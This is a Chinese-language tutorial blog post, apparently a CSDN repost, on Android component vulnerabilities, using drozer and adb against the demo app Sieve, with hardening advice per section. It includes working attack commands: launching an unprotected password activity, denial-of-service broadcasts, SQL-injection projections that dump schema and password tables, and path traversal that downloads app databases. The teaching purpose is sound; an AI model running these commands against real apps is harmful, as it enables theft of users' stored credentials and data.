Android中的组件安全漏洞介绍和检测

第一部分 activity组件安全

首先我们介绍下我们常见的Android的activity组件:

Activity是Android四大组件之一,它用于展示界面。Activity是一个应用程序组件,提供一个屏幕,用户可以用来交互为了完成某项任务。Activity中所有操作都与用户密切相关,是一个负责与用户交互的组件,可以通过setContentView(View)来显示指定控件。在一个android应用中,一个Activity通常就是一个单独的屏幕,它上面可以显示一些控件也可以监听并处理用户的事件做出响应。Activity之间通过Intent进行通信。

activity中的常见配置:

Lable属性:
Activity页面的标题,界面的名字,如果此界面被创建快捷方式,则快捷方式的名字就是lable值
Name属性:
指定的值为:包名.Activity类名。
包名如果与mainfest的package一致,可以用“.”代替。或者不写
Intent-filter子节点:
添加意图过滤,可以通过隐式意图启动。
可以在桌面生成快捷方式,应用程序的入口
Icon属性:
指定应用程序的图标
android:theme属性:指定主题
android:theme="@android:style/Theme.Dialog"
android:exported
是否允许外部程序调用

下面就是我们再AndroidManifest.xml中定义的组件的常见形式。

 
  1. <activity

  2. android:name="com.xxx.helloworld.MainActivity"

  3. android:label="@string/app_name" >

  4. <intent-filter>

  5. <action android:name="android.intent.action.MAIN" />

  6. <category android:name="android.intent.category.LAUNCHER" />

  7. </intent-filter>

  8. </activity>


我们主要介绍的是activity通过exported属性来对activity进行的安全控制。首先讲下默认情况,如果activity没有设置intent-filter,则exported默认的属性为false,就是这个组件仅仅能被自身内部程序调用。如果activity设置了intent-filter,则android:exported默认为true。这时如果我们对这个值进行控制就会导致一系列安全问题。所以组件安全也主要针对配置了意图过滤的组件。

这时我们把组件分为公有组件和私有组件,公有组件就是activity组件可以被外部程序调用,私有组件就是不能被其他程序启动或调用。因此在创建组件时,如果是私有的组件,android:exported属性一律设置为false.如果是公有的,就设置android:exported为true。不管公有的还是私有的组件,处理接收的intent时都应该进行验证的数据验证。公有组件防止信息泄露和接收外部数据时进行严格的处理。如果对私有组件没有进行相应的配置,可能导致组件被其他程序调用,敏感信息泄露,拒绝服务器攻击和权限绕过等漏洞。

我们可以通过工具adb或drozer对其进行相应的检测。

利用drozer获取app的详细信息

连接命令

在adb工具下的命令

adb forward tcp:31415 tcp:31415

drozer下使用命令进行连接

drozer console connect

list命令用以列出所有包含“example”的手机中已安装package名称,记住目标应用的完整名称。

 
  1. dz> run app.package.list -f sieve

  2. com.mwr.example.sieve (Sieve)


info命令用以通过完整名称,获取该package的详细信息,比如data路径、apk路径、声明的权限等等。

 
  1. dz> run app.package.info -a com.mwr.example.sieve

  2. Package: com.mwr.example.sieve

  3. Application Label: Sieve

  4. Process Name: com.mwr.example.sieve

  5. Version: 1.0

  6. Data Directory: /data/data/com.mwr.example.sieve

  7. APK Path: /data/app/com.mwr.example.sieve-1.apk

  8. UID: 10053

  9. GID: [1028, 1015, 3003]

  10. Shared Libraries: null

  11. Shared User ID: null

  12. Uses Permissions:

  13. - android.permission.READ_EXTERNAL_STORAGE

  14. - android.permission.WRITE_EXTERNAL_STORAGE

  15. - android.permission.INTERNET

  16. Defines Permissions:

  17. - com.mwr.example.sieve.READ_KEYS

  18. - com.mwr.example.sieve.WRITE_KEYS



attacksurface即攻击面分析,分析Activity/Broadcast Receiver/Content Provider/Service的权限,即是否能被其他的的应用程序调用。
 

 
  1. dz> run app.package.attacksurface com.mwr.example.sieve

  2. Attack Surface:

  3. 3 activities exported

  4. 0 broadcast receivers exported

  5. 2 content providers exported

  6. 2 services exported

  7. is debuggable



通过run app.activity.info -a 路径报名 分析出可以调用的activity组件

 
  1. dz> run app.activity.info -a com.mwr.example.sieve

  2. Package: com.mwr.example.sieve

  3. com.mwr.example.sieve.FileSelectActivity

  4. Permission: null

  5. com.mwr.example.sieve.MainLoginActivity

  6. Permission: null

  7. com.mwr.example.sieve.PWList

  8. Permission: null



这时我们可以通过run app.activity.start --component 路径包名 路径组件名 启动它

 
  1. dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

  2. dz>



使用adb启动activity的命令如下:

D:\>adb shell am start -n com.mwr.example.sieve/com.mwr.example.sieve.PWList
Starting: Intent { cmp=com.mwr.example.sieve/.PWList }

安全使用

1.当activity组件为私有组件时,建议设置exported的值为false.
2.当activity组件为公有组件时,建议对其进行权限控制。

第二部分 broadcast组件安全

broadcast组件介绍

在Android中,Broadcast是一种广泛运用的在应用程序之间传输信息的机制。而BroadcastReceiver是对发送出来的Broadcast进行过滤接受并响应的一类组件。广播接收者(BroadcastReceiver)用于接收广播Intent的, 广播Intent的发送是通过调用sendBroadcast/sendOrderedBroadcast来实现的。通常一个广播Intent可以被订阅了此Intent的多个广播接收者所接收。

常见的静态广播定义示例;

 
  1. <receiver android:name="com.xxx.smsreceiver.SMSReceiver">

  2. <intent-filter android:priority="1000">

  3. <action android:name="android.provider.Telephony.SMS_RECEIVED"/>

  4. </intent-filter>

  5. </receiver>


利用drozer获取广播和进行拒绝服务攻击示例

查看暴露的广播组件信息

 
  1. dz> run app.broadcast.info -a com.xxx.activity

  2. Package: com.xxx.activity

  3. com.xxx.lock.MyExitReceiver

  4. Permission: null

  5. com.xxx.lock.LockScreenReceiver

  6. Permission: null

  7. com.xxx.lock.LockScreenDeamonReceiver

  8. Permission: null


查看暴露的广播组件详细信息

 
  1. dz> run app.broadcast.info -a com.package.name -i

  2.  
  3. dz> run app.broadcast.send --component 包名 --action android.intent.action.XXX


利用空actoin和空extras拒绝服务

 
  1. #空action情况

  2. run app.broadcast.send --component 包名 广播名

  3. dz> run app.broadcast.send --component com.xxx.activity com.xxx.lock.MyExitReceiver

  4. dz> run app.broadcast.send --component com.xxx.activity com.xxx.lock.LockScreenReceiver

  5. #空extras情况

  6. dz> run app.broadcast.send --action wisorg.intent.action.PUSH_MESSAGE

安全使用

1.如果应用的Broadcast Receiver组件是私有的,或者组件配置了intent filter标签,建议显示设置组件的“android:exported”属性为false
2.如果组件必须要接收外部应用发送的消息,建议对组件进行权限控制
3.如果组件要向外发送广播,建议发广播时添加参数声明Receiver所需的权限,即只有接收这个广播权限的才能接收这个广播。

第三部分 ContentProvider

ContentProvider:内容提供者是应用程序之间共享数据的接口,使用ContentProvider共享数据的好处是统一了数据访问方式。


ContentProvider的uri的解释

content://com.xxx.provider/person/10
schema    主机名authority   path   id
schema:uri的协议 "content://"
主机名或授权Authority:定义了是哪个ContentProvider提供这些数据。
path:路径,URI下的某一个item。
ID:通常定义Uri时使用”#”号占位符代替, 使用时替换成对应的数字
content://com.xxx.provider/person/#:#表示数据id(#代表任意数字)
content://com.xxx.provider/person/*:*来匹配任意文本。


利用drozer操作ContentProvider

 
  1. dz> run app.provider.info -a com.mwr.example.sieve

  2. Package: com.mwr.example.sieve

  3. Authority: com.mwr.example.sieve.DBContentProvider

  4. Read Permission: null

  5. Write Permission: null

  6. Content Provider: com.mwr.example.sieve.DBContentProvider

  7. Multiprocess Allowed: True

  8. Grant Uri Permissions: False

  9. Path Permissions:

  10. Path: /Keys

  11. Type: PATTERN_LITERAL

  12. Read Permission: com.mwr.example.sieve.READ_KEYS

  13. Write Permission: com.mwr.example.sieve.WRITE_KEYS

  14. Authority: com.mwr.example.sieve.FileBackupProvider

  15. Read Permission: null

  16. Write Permission: null

  17. Content Provider: com.mwr.example.sieve.FileBackupProvider

  18. Multiprocess Allowed: True

  19. Grant Uri Permissions: False

获取所有可以访问的Uri

 
  1. dz> run scanner.provider.finduris -a com.mwr.example.sieve

  2. Scanning com.mwr.example.sieve...

  3. Unable to Query content://com.mwr.example.sieve.DBContentProvider/

  4. ...

  5. Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys

  6. Accessible content URIs:

  7. content://com.mwr.example.sieve.DBContentProvider/Keys/

  8. content://com.mwr.example.sieve.DBContentProvider/Passwords

  9. content://com.mwr.example.sieve.DBContentProvider/Passwords

对Passwords进行数据查看

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

进行简单的SQL注入检查

 
  1. dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

  2. unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords

  3.  
  4. dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

  5. unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')

  6.  
  7. dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*"

  8. | _id | service | username | password | email |

  9.  
  10. dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* from sqlite_master where 1=1; --"

  11. | type | name | tbl_name | rootpage | sql

  12. |

  13. | table | android_metadata | android_metadata | 3 | CREATE TABLE android_meta

  14. data (locale TEXT) |

  15. | table | Passwords | Passwords | 4 | CREATE TABLE Passwords (_

  16. id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |

  17. | table | Key | Key | 5 | CREATE TABLE Key (Passwor

  18. d TEXT PRIMARY KEY,pin TEXT ) |

  19. | index | sqlite_autoindex_Key_1 | Key | 6 | null

  20. |



检测sql注入和目录遍历

 
  1. dz> run scanner.provider.injection -a com.mwr.example.sieve

  2.  
  3. dz> run scanner.provider.traversal -a com.mwr.example.sieve


遍历下载文件

 
  1. dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

  2.  
  3. dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sie

  4. ve/databases/database.db /home/user/database.db

Content Provider文件目录遍历漏洞
漏洞位置
ContentProvider.openFile(Uri uri, String mode)
条件
1.对外暴漏的ContentProvidr实现openFile()接口,
2.没有对uri进行有效判断,如可以利用../更改uri实现任意文件访问。


安全使用
1.将不必要到出的Content Provider中exported值设为false.
2.使用openFile接口时对其uri进行严格验证.
3.移除没有必要的openFile()接口.
4.设置权限来进行内部应用(比如同公司应用)通过Content Provider的数据共享,如 使用签名验证来控制Content Provider共享数据的访问权限:设置protectionLevel=”signature”.
5.如果必须要有数据提供给外部应用使用,建议对组件进行权限控制

第四部分 service服务

service介绍

很多情况下,一些与用户很少需要产生交互的应用程序,我们一般让它们在后台运行就行了,而且在它们运行期间我们仍然能运行其他的应用。为了处理这种后台进程,Android引入了Service的概念。

利用dz进行开启或者权限提升命令

 
  1. dz> run app.service.info -a com.mwr.example.sieve

  2. Package: com.mwr.example.sieve

  3. com.mwr.example.sieve.AuthService

  4. Permission: null

  5. com.mwr.example.sieve.CryptoService

  6. Permission: null

利用dz提升权限

dz> run app.service.start --action xxx --extra xxxx 


安全使用

1.如果应用的Service组件为私有组件,建议设置exported属性为false
2.如果组件必须要提供给外部应用使用,建议对组件进行权限控制

参考连接

drozer安装过程

http://blog.csdn.net/zsch591488385/article/details/38423627

组件安全

http://blog.csdn.net/u013107656/article/details/51889227

drozer工具下载

https://labs.mwrinfosecurity.com/tools/drozer/

四大组件属性介绍

http://blog.csdn.net/peng_cao/article/details/50747694#androidexported

权限的定义使用

http://blog.csdn.net/zhang31jian/article/details/38302633

http://blog.csdn.net/shineflowers/article/details/40426361

http://www.2cto.com/kf/201311/256177.html

猜你喜欢

转载自blog.csdn.net/mawei7510/article/details/82013358